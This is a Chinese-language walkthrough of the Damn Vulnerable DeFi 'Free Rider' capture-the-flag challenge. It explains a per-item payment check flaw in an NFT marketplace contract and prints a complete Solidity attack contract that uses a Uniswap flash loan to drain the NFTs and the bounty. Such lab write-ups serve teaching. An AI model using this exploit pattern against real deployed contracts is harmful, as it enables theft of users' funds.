該死的脆弱 DeFi 是一個 DeFi 智能合約攻擊挑戰系列。內容包括了閃電貸攻擊、借貸池、鏈上預言機等。在開始之前你需要具備 Solidity 以及 JavaScript 相關的技能。針對每一題你需要做的就是保證該題的單元測試能夠通過。
題目鏈接:https://www.damnvulnerabledefi.xyz/challenges/10.html
題目描述:
現有已經發布的該死的有價 NFT 交易市場,初始 mint 了 6 個 NFT,並且可以在交易市場上出售,售價為 15ETH。
有個買家告訴了你一個秘密:市場是脆弱的,所有的代幣都可以被拿走。然而,他並不知道怎麼做。為此願意提供 45 ETH 的獎勵給取出 NFT 並發送給他的人。
你想在這個買家那裡建立一些名聲,所以你已經同意了這個計劃。
遺憾的是你只有 0.5 ETH。要是有一個地方你可以免費獲得 ETH 就好了,暫時性的也可以。
FreeRiderBuyer.sol#
買家合約
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract FreeRiderBuyer is ReentrancyGuard, IERC721Receiver {
using Address for address payable;
address private immutable partner;
IERC721 private immutable nft;
uint256 private constant JOB_PAYOUT = 45 ether;
uint256 private received;
// 部署時向該合約轉入了 45eth
constructor(address _partner, address _nft) payable {
require(msg.value == JOB_PAYOUT);
partner = _partner;
nft = IERC721(_nft);
IERC721(_nft).setApprovalForAll(msg.sender, true);
}
// 接收到NFT時觸發的函數
function onERC721Received(
address,
address,
uint256 _tokenId,
bytes memory
)
external
override
nonReentrant
returns (bytes4)
{
require(msg.sender == address(nft));
require(tx.origin == partner); // 確保交易的發起人是partner
require(_tokenId >= 0 && _tokenId <= 5);
require(nft.ownerOf(_tokenId) == address(this)); // 確保已持有
received++;
// 接收到6個NFT後將45eth轉給partner
if(received == 6) {
payable(partner).sendValue(JOB_PAYOUT);
}
return IERC721Receiver.onERC721Received.selector;
}
}
由於該合約繼承自 IERC721Receiver
,且 NFT
合約繼承自 ERC721
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
import "@openzeppelin/contracts/access/AccessControl.sol";
contract DamnValuableNFT is ERC721, ERC721Burnable, AccessControl {}
意味著當 NFT
合約調用 safeTransferFrom
且 to
地址是該合約時,會觸發 onERC721Received
函數。
safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
safeTransferFrom
內部會判斷 to
是否是合約地址,是的話則會調用 onERC721Received
FreeRiderNFTMarketplace.sol#
交易合約,繼承自 ReentrancyGuard
, 用於防止重入攻擊。
構造函數中創建了一個 DamnValuableNFT
合約,並 mint
了 amountToMint
數量的 NFT 給了合約部署者
constructor(uint8 amountToMint) payable {
require(amountToMint < 256, "Cannot mint that many tokens");
token = new DamnValuableNFT();
for(uint8 i = 0; i < amountToMint; i++) {
token.safeMint(msg.sender);
}
}
該合約提供了兩種功能
- 批量出售
offerMany
function offerMany(uint256[] calldata tokenIds, uint256[] calldata prices) external nonReentrant {
require(tokenIds.length > 0 && tokenIds.length == prices.length);
for (uint256 i = 0; i < tokenIds.length; i++) {
_offerOne(tokenIds[i], prices[i]);
}
}
function _offerOne(uint256 tokenId, uint256 price) private {
// 確保出價 > 0
require(price > 0, "Price must be greater than zero");
// 出售者必須是持有該NFT
require(msg.sender == token.ownerOf(tokenId), "Account offering must be the owner");
// 確保已授權
require(
token.getApproved(tokenId) == address(this) ||
token.isApprovedForAll(msg.sender, address(this)),
"Account offering must have approved transfer"
);
// 記錄價格
offers[tokenId] = price;
amountOfOffers++;
emit NFTOffered(msg.sender, tokenId, price);
}
NFT
持有人調用該方法,除了基本的校驗之外,還會授權該合約可以對持有人持有的 NFT 進行操作。
最後將報價保存到 offers[tokenId]
,當有人購買時,由於持有人已經授權了該合約可以操作其所持有的 NFT,故在收到付款後,該合約可以直接將持有人的 NFT
轉給購買人。
- 批量購買
buyMany
function buyMany(uint256[] calldata tokenIds) external payable nonReentrant {
for (uint256 i = 0; i < tokenIds.length; i++) {
_buyOne(tokenIds[i]);
}
}
function _buyOne(uint256 tokenId) private {
// 獲取價格
uint256 priceToPay = offers[tokenId];
// 確保轉入的價格不少於售價
require(priceToPay > 0, "Token is not being offered");
require(msg.value >= priceToPay, "Amount paid is not enough");
amountOfOffers--;
// 將 NFT 轉給購買人
token.safeTransferFrom(token.ownerOf(tokenId), msg.sender, tokenId);
// 將收到的 ETH 轉給賣方
payable(token.ownerOf(tokenId)).sendValue(priceToPay);
emit NFTBought(msg.sender, tokenId, priceToPay);
}
當有賣家在交易合約中出售其持有的 NFT 後,買家就可以執行購買流程,首先獲取價格,並確保收到的 ETH
不低於售價,之後由該合約將賣家持有的 NFT 轉給買家並將收到的 ETH
轉給賣家。
批量購買功能其實有個明顯的問題,在檢查收到的 ETH
要不少於售價時 require(msg.value >= priceToPay, "Amount paid is not enough");
檢查的是單個 NFT
的價格,而不是批量購買的總額。而且 ETH
轉給賣方的時候用的是合約內的餘額。
例如交易合約持有100ETH
, 賣家出售其持有的 tokenId
為 1, 2, 3 的 NFT
,價格分別為 1ETH
, 5ETH
, 3ETH
。此時買家購買調用 buyMany
應付的價格為 9ETH
,但實際上僅需要支付5ETH
(購買價最高的 tokenId
的價格)就能滿足 require
的檢查。此時交易合約共持有105ETH
。轉賬時,交易合約共向賣方們轉了9ETH
。即買方購買時少付的 ETH
由交易合約的餘額補上了。
在本題中,NFT
的單價為15ETH
,因此只需要付15ETH
即可購買 6 個NFT
,而不是90ETH
。但你只有0.5ETH
。因此要想辦法獲得 ETH
,通過 uniswap
的閃電貸就是不錯的方法:
- 通過閃電貸借出
15WETH
,並將WETH
換成ETH
- 使用
ETH
購買NFT
,並將購買的 NFT 發送給FreeRiderBuyer
,收到45ETH
的獎勵。 - 最後將
ETH
換回WETH
,算上閃電貸的費率還清閃電貸的借款
由於這些操作需要再一筆交易中完成,因此需要寫一個攻擊合約,不過在此之前需要先看下測試文件 free-rider.challenge.js
做了哪些初始化:
- 給
attacker
發送了0.5ETH
- 部署合約
WETH
、DVT
、uniswapFactory
、uniswapRouter
- 通過調用
uniswapRouter
合約的方法addLiquidityETH
添加流動性,該方法內部會創建配對合約uniswapPair
,配對的幣種是WETH-DVT
,添加的流動性為9000WETH
和15000DVT
- 部署合約
FreeRiderNFTMarketplace
,並轉入90ETH
。 - 部署
NFT
合約 - 在交易合約中創建賣單出售
tokenId
為 0~5 的NFT
,每個價格都為15ETH
- 部署合約
FreeRiderBuyer
並轉入45ETH
攻擊合約代碼如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import "@uniswap/v2-core/contracts/interfaces/IUniswapV2Callee.sol";
import "@uniswap/v2-periphery/contracts/interfaces/IWETH.sol";
import "../free-rider/FreeRiderNFTMarketplace.sol";
import "../free-rider/FreeRiderBuyer.sol";
import "../DamnValuableNFT.sol";
contract FreeRiderAttack is IUniswapV2Callee, IERC721Receiver {
FreeRiderBuyer buyer;
FreeRiderNFTMarketplace marketplace;
IUniswapV2Pair pair;
IWETH weth;
DamnValuableNFT nft;
address attacker;
uint256[] tokenIds = [0, 1, 2, 3, 4, 5];
constructor(address _buyer, address payable _marketplace, address _pair, address _weth, address _nft) payable {
buyer = FreeRiderBuyer(_buyer);
marketplace = FreeRiderNFTMarketplace(_marketplace);
pair = IUniswapV2Pair(_pair);
weth = IWETH(_weth);
nft = DamnValuableNFT(_nft);
attacker = msg.sender;
}
function attack(uint amount) external {
// 配對合約: WETH-DVT
// 通過 uniswap 閃電貸借出 amount 數量的 WETH
// 注意: 最後一個參數不能為空,不然就不會執行閃電貸的回調
pair.swap(amount, 0, address(this), "x");
}
// uniswap 閃電貸回調
function uniswapV2Call(
address sender,
uint amount0,
uint amount1,
bytes calldata data
) external {
// 將借出的 WETH 轉成 ETH
weth.withdraw(amount0);
// 將借出的15ETH轉給交易合約用於購買tokenId為0~5的NFT
marketplace.buyMany{value: amount0}(tokenIds);
// 將購買的NFT轉給buyer, 並得到 45 ETH
for (uint tokenId = 0; tokenId < tokenIds.length; tokenId++) {
nft.safeTransferFrom(address(this), address(buyer), tokenId);
}
// 計算閃電貸要還的費用, 並將要還的部分轉成 weth
uint fee = amount0 * 3 / 997 + 1;
weth.deposit{value: fee + amount0}();
// 返還閃電貸
weth.transfer(address(pair), fee + amount0);
// 將剩餘的 eth 轉給 attacker
payable(address(attacker)).transfer(address(this).balance);
}
receive() external payable {}
function onERC721Received(address, address, uint256, bytes memory) external pure override returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
}
在測試文件 free-rider.challenge.js
添加執行入口
it('Exploit', async function () {
const freeRiderAttack = await (await ethers.getContractFactory('FreeRiderAttack', attacker)).deploy(
this.buyerContract.address,
this.marketplace.address,
this.uniswapPair.address,
this.weth.address,
this.nft.address
)
await freeRiderAttack.attack(NFT_PRICE)
})
最後執行 yarn free-rider
測試通過!